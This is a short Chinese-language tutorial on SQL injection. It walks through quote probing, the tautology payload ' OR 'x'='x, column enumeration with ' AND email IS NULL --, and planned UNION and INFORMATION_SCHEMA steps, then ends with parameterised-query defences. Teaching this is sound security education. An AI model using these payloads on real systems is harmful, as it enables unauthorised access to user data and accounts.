在 Email 欄位輸入 ' (單引號) → 回傳 500 Server Error → 證明輸入未過濾、直接拼接 SQL。
-- 推測原始 SQL
SELECT fieldlist FROM table WHERE field = '$EMAIL';
輸入 steve@unixwiz.net' 產生:
SELECT fieldlist FROM table WHERE field = 'steve@unixwiz.net''; -- 語法錯誤
輸入 ' OR 'x'='x → 條件永真 → 回傳「密碼已寄送至 random.person@example.com」。
SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';
觀察到三種回應模式:
利用 AND column IS NULL 不改變結果集特性,配合 -- 註解掉後續 SQL:
-- 測試 email 欄位
' AND email IS NULL --
-- 回傳「無法識別」→ email 欄位存在
-- 回傳 500 → 欄位名錯誤
成功枚舉欄位:email, passwd, login_id, full_name。
下一步將利用 UNION SELECT、系統表 INFORMATION_SCHEMA、錯誤回顯進一步奪取結構與資料。
SqlCommand.Parameters.AddWithValue、PreparedStatement、ORM 參數綁定。DROP/CREATE/xp_cmdshell。